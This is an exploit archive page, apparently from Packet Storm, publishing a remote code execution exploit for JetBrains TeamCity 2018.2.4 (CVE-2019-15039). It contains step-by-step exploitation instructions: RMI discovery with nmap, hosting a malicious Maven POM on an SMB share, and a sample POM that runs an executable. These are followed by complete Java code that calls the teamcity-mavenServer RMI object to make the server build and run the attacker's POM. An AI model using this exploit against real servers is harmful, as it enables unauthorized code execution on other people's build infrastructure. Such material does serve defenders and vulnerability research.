exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

JetBrains TeamCity 2018.2.4 Remote Code Execution

JetBrains TeamCity 2018.2.4 Remote Code Execution
Posted Jan 8, 2020
Authored by Harrison Neal

JetBrains TeamCity version 2018.2.4 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2019-15039
SHA-256 | 0c3bfaca43dec73060f830e405b2120c3ab1e6d61f374999890652784051cad8

JetBrains TeamCity 2018.2.4 Remote Code Execution

Change Mirror Download
# Exploit Title: JetBrains TeamCity 2018.2.4 - Remote Code Execution
# Date: 2020-01-07
# Exploit Author: Harrison Neal
# Vendor Homepage: https://www.jetbrains.com/
# Software Link: https://confluence.jetbrains.com/display/TW/Previous+Releases+Downloads
# Version: 2018.2.4 for Windows
# CVE: CVE-2019-15039

# You'll need a few .jars from a copy of TeamCity to compile and run this code
# To compile, file path should match ${package}/${class}.java, e.g.,
# com/whatdidibreak/teamcity_expl/Main.java

# Instructions for Windows (easier case):

# 1) Verify exploitability.
# 1a) Verify the remote host is running Windows, e.g. checking for common
# running services and their versions.
# 1b) Discover Java RMI services on the remote host, e.g. doing a 65k port
# scan using nmap and the rmi-dumpregistry script. On one port, there
# should be a registry with an object named teamcity-mavenServer. This
# object should point to a second open port that is also identified as
# Java RMI.

# 2) Prepare the payload.
# 2a) There needs to be an SMB share that the TeamCity software can read from
# and that you can write to. You might establish a share on your own
# system and make it accessible to anonymous users. Alternatively, if the
# TeamCity server is domain-joined, you might find a pre-existing share
# elsewhere in the domain.
# 2b) Place a malicious POM in that share, e.g.

<project>
<modelVersion>4.0.0</modelVersion>
<groupId>com.mycompany.app</groupId>
<artifactId>my-module</artifactId>
<version>1</version>
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>1.1.1</version>
<executions>
<execution>
<goals>
<goal>exec</goal>
</goals>
</execution>
</executions>
<configuration>
<executable>calc</executable>
<arguments>
<argument>-testarg</argument>
</arguments>
</configuration>
</plugin>
</plugins>
</build>
</project>

# 3) Run this exploit.
# Argument #1: TeamCity host (IP or FQDN)
# Argument #2: Port of RMI Registry (the first open port described above)
# Argument #3: UNC path to the malicious POM file (e.g., \\ip\share\pom.xml)
# Argument #4: POM goal (e.g., exec:exec)

# NOTE: It is possible to exploit this issue in other situations, e.g. if the
# TeamCity server is running on a *nix system that allows access to some local
# directory over NFS.

*/
package com.whatdidibreak.teamcity_expl;

import java.io.File;
import java.io.IOException;

import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMISocketFactory;

import java.util.ArrayList;
import java.util.List;

import jetbrains.buildServer.maven.remote.MavenServer;
import jetbrains.buildServer.maven.remote.RemoteEmbedder;
import org.jetbrains.maven.embedder.MavenEmbedderSettings;
import org.jetbrains.maven.embedder.MavenExecutionResult;

public class Main {

public static void main(String[] args) throws Throwable {
String host = args[0];
int port = Integer.parseInt(args[1]);
String pomPath = args[2];
String goal = args[3];

// The exported object may point to a different host than what we're
// using to connect to the registry, which could break things, i.e.,
// - localhost
// - for a multi-homed target, an IP we can't connect to
// - a FQDN or hostname we can't resolve
// - etc.
// For this reason, we'll set up a socket factory that forces all
// connections to go to the host specified by the user, ignoring the
// host pointed to by the exported object.
OverrideHostSocketFactory sf = new OverrideHostSocketFactory(host);
RMISocketFactory.setSocketFactory(sf);

// The rest of the code in this method should look fairly typical for
// interacting with remote objects using RMI.
Registry r = LocateRegistry.getRegistry(host, port, sf);

MavenServer ms = (MavenServer) r.lookup("teamcity-mavenServer");

MavenEmbedderSettings mes = new MavenEmbedderSettings();
RemoteEmbedder re = ms.exportEmbedder(mes);

File f = new File(pomPath);
List ap = new ArrayList();
List g = new ArrayList();
g.add(goal);
MavenExecutionResult mer = re.execute(f, ap, g);
}

private static class OverrideHostSocketFactory extends RMISocketFactory {

private String targetHost;

public OverrideHostSocketFactory(String targetHost) {
this.targetHost = targetHost;
}

@Override
public Socket createSocket(String host, int port) throws IOException {
Socket toReturn = new Socket();
toReturn.connect(new InetSocketAddress(targetHost, port));
return toReturn;
}

@Override
public ServerSocket createServerSocket(int port) throws IOException {
throw new UnsupportedOperationException("Not supported yet.");
}
}
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close